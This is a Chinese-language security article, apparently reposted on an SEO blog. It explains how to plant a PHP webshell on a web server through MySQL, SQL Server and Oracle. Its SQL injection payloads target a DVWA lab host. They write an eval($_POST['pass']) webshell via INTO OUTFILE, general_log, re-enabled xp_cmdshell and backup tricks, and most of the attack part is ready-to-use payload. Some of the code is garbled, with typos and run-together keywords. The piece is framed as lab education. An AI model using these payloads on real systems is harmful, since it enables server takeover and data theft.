首页 » SEO优化 » phporaclewebshell技巧_美创安然实验室 三大年夜数据库写入WebShell的姿势总结

phporaclewebshell技巧_美创安然实验室 三大年夜数据库写入WebShell的姿势总结

访客 2024-11-24 0

扫一扫用手机浏览

文章目录 [+]

本期美创安全实验室将带大家理解,如何通过数据库获取网站的WebShell。

MySQL写入WebShell

1必备条件

phporaclewebshell技巧_美创安然实验室  三大年夜数据库写入WebShell的姿势总结

想要成功向MySQL写入WebShell须要至少知足以下4个条件:

phporaclewebshell技巧_美创安然实验室  三大年夜数据库写入WebShell的姿势总结
(图片来自网络侵删)

① 数据库确当前用户为ROOT或拥有FILE权限;

② 知道网站目录的绝对路径;

③ PHP的GPC参数为off状态;

④ MySQL中的secure_file_priv参数不能为NULL状态。

把稳:关于个中第4点,secure_file_priv参数是MySQL用来限定数据导入和导出操作的效果,如果这个参数被设为了一个目录名,那么MySQL会许可仅在这个目录中可以实行文件的导入和导出,例如LOAD DATA、SELECT。


INTOOUTFILE、LOAD_FILE()等。
如果这个参数为NULL,MySQL会禁止导入导出操作,但是这只是意味着通过outfile方法写入WebShell是无法成功的,但是通过导出日志的方法是可以的。

2写入方法

向MySQL写入WebShell的办法一共有两种,分别是:1、利用outfile方法,2、基于log日志写入法。

Outfile方法实在是Mysql供应的一个用来写入文件的函数,当我们可以掌握写入的文件内容以及文件的保存路径时,我们就可以达到传入WebShell的目的。
当我们可以利用union查询时,我们布局一个如下语句,就可以达到效果:

Union select "这里是WebShell" into outfile "Web目录";

当我们无法利用union时,还有一些其他方法也可以实现(利用分隔符写入):

?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)#

?id=1 INTO OUTFILE '物理路径' fields terminatedby (这里是WebShell)#

?id=1 INTO OUTFILE'物理路径'columns terminatedby (这里是WebShell)#

?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#

基于log日志写入的方法实在是先将日志文件的导出目录修正成Web目录,然后实行了一次大略的WebShell代码查询功能,此时日志文件记录了此过程,这样在Web目录下的日志文件就变成了WebShell。
例如,我们先设置日志文件的导出目录:set global general_file = 'Web目录';然后实行一遍:select "WebShell代码";即可。

3利用OUTFILE方法写入Webshell

(1)实验前准备:

检讨secure_file_priv是否开启:show variables like'%secure%';确认其不为NULL。
有值或为空都可以。
(若是为NULL,则须要到my.ini文件中手动修正)

检讨当前用户是否具备写权限:selectuser,file_priv from mysql.user;确认其用户的值为Y即代表此用户拥有文件写入权限。

(2)确认注入点

http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1;

参数ID存在SQL注入漏洞

http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1'union select version(),user() #

(3)利用outfile写入shell文件

若secure_file_priv为空,则可以向任意目录写入文件,若secure_file_priv有值,则只能向该值指向的目录写入文件,由于我们的值为空,以是就任意目录写入,但由于还须要工具进行连接,以是最好放在网站的根目录下。

PAYLOAD(利用Union查询注入):1'unionselect1,"<?phpeval(#_POST['pass']); ?>" into outfile"F:\\PhpStudy20180211

\\PHPTutorial\\WWW\\Tp.php" #

PAYLOAD(不用Union):1'intooutfile"F:\\Php、Study2018021\\PHPTutorial\\WWW\\Tp.php" fields terminated by "<?phpeval(#_POST['pass']); ?>" #

文件已被写入到网站的根目录下,接下来就可以利用连接工具(蚁剑、菜刀、冰蝎等)进行连接了。

4利用导入日志的方法写入Webshell

(1)实验前准备:

检讨当前mysql下log日志是否开启,以及log的默认地址在哪里:show variables like '%general%';

将log日志开启,并设置日志的写入位置:

Set globalgeneral_log = on;

Set globalgeneral_log_file = 'F:/test.php';

(2)利用写入日志再读取的方法

直接在SQL注入点,利用查询语句,添加WebShell代码,如下:

Select '<?phpphpinfo();?>';

此时这段WebShell代码已经被记录到日志文件中了,接下就可以利用连接工具进行连接了。

SqlServer写入WebShell

1、 必备条件

① 有相应的权限db_owner

② 得到Web目录的绝对路径

2、写入方法

向MSSQL写入WebShell的方法一共有种:利用xp_cmdshell命令、差异备份写入shell、log备份写入shell。

3、利用XP_cmdshell写入Webshell

(1)实验前准备:

首先我们须要查找网站目录的绝对路径,查找绝对路径的方法有5种:

通过报错信息查找;

通过目录爆破猜解;

通过旁站的目录确定;

通过存储过程来搜索;

通过读取配置文件查找。

个中通过存储过程来搜索,SQLServer供应了两种方法:xp_cmdshell和xp_dirtree

execute master..xp_dirtree 'c:'; 可以查出所有c:\下的文件、目录、子目录。

在真实环境中时,我们实行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入个中,再查询这张表即可得相应的绝对路径了。

Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以利用如下命令启用这个选项。

EXEC sp_configure 'show advanced options',1;//许可修正高等参数RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展RECONFIGURE;--

开启了xp_cmsshell之后我们就可以实行CMD命令了,例如:

for /r c:\ %i in (1.php) do @echo %i

就可以查询c:\目录下的所有符合1.php的文件,同理,在实际运用中,我们也是新建一个表,并将xp_cmdshell查询到的信息插入后,再次查询即可。

(2)利用xp_cmdshell写入WebShell

我们可以通过xp_cmdshell实行系统CMD命令,例如我们可以利用CMD中的echo命令,将WebShell的代码写入到网站目录下,以是我们必须提前知道Web目录的绝对路径。

PAYLOAD:1';execmaster..xp_cmdshell'echo^<?phpeval($_POST["pass"]);?^>>F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';

(3)利用差异备份写入WebShell

首先对某一数据库进行备份。

PAYLOAD:id = 1';backup database 库名 to disk = 'F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak';

其次将WebShell代码写入数据库中,

PAYLOAD:id = 1'; create table cybk([cmd] [image]);#创建一个新表

PAYLOAD:id=1';insertintocybk(cmd)

vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码

末了将此数据库进行差异备份,这样个中就会包含刚刚写入的WebShell代码。

PAYLOAD:id=1'; backup database library todisk='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;

(4)利用log备份写入WebShell

利用Log备份写入WebShell的哀求是他的数据库已经备份过,而且要选择完全模式的规复模式,比较较差异备份而言,利用Log备份文件会小的多。

首先须要将数据库设置为完全规复模式,然后创建一个新表,将WebShell用Ascii编码后写入个中,然后将该数据库的日志信息导出到Web目录,即可。

可在Web目录下找到导出的日志文件,个中包含了WebShell的代码。

ORACLE写入WebShell

1、必备条件

① 有DBA权限

② 得到Web目录的绝对路径

2、写入方法

向Oracle写入WebShell的方法可以利用:文件访问包

3、利用文件访问经办法写入Webshell

首先我们须要创建一个ORACLE的目录工具指向某一起径,在真实环境中须要指向Web目录下,在这里我们将其指向/home/oracle这一起径下。
create or replace directory IST0_DIR as '/home/oracle';

创建好后,我们须要对其进行一下授权过程,让其能够顺利的写入WebShell代码。

grant read, write on directory IST0_DIR tosystem;

然后写入文件,定义变量类型为utl_file.file_type,然后将WebShell的代码写入此文件中。

直接访问该文件,即可查看到个中的WebShell代码,如果这个文件是放置在Web目录下的,那么就可以被攻击者成功利用。

本文转自杭州美创科技有限公司公众年夜众号,如需二次转载,请咨询marketing@mchz.com.cn。

相关文章

探寻地狱塔之谜,古代建筑智慧的结晶

自古以来,人类对未知的好奇心从未停止过。在我国,有许多神秘的建筑遗迹,其中,地狱塔便是其中之一。它不仅是一座具有传奇色彩的古代建筑...

SEO优化 2024-12-25 阅读0 评论0

IT7778,引领科技潮流的创新力量

在科技飞速发展的今天,创新已成为推动社会进步的重要力量。IT7778作为一家专注于科技创新的企业,凭借其独特的理念和卓越的技术,成...

SEO优化 2024-12-25 阅读0 评论0

IT1050,引领未来教育技术发展的关键力量

随着信息技术的飞速发展,教育领域也在不断变革。在这个变革的时代,IT1050作为一项引领未来教育技术发展的关键力量,正逐渐成为教育...

SEO优化 2024-12-25 阅读0 评论0

DLL授权壳,破解软件授权难题的利器

在当今数字化时代,软件授权问题一直是软件开发者和用户关注的焦点。授权壳作为一种保护软件版权、防止盗版的技术手段,在软件行业得到了广...

SEO优化 2024-12-25 阅读0 评论0

DLL文件丢失,系统崩溃的隐形杀手

在信息技术飞速发展的今天,计算机已经成为我们日常生活中不可或缺的一部分。在使用过程中,我们可能会遇到DLL文件丢失的困扰,这不仅会...

SEO优化 2024-12-25 阅读0 评论0

DLL文件,介绍现代软件的灵魂

在计算机世界中,DLL(Dynamic Link Library)文件是不可或缺的一部分。它犹如软件的灵魂,承载着丰富的功能与强大...

SEO优化 2024-12-25 阅读0 评论0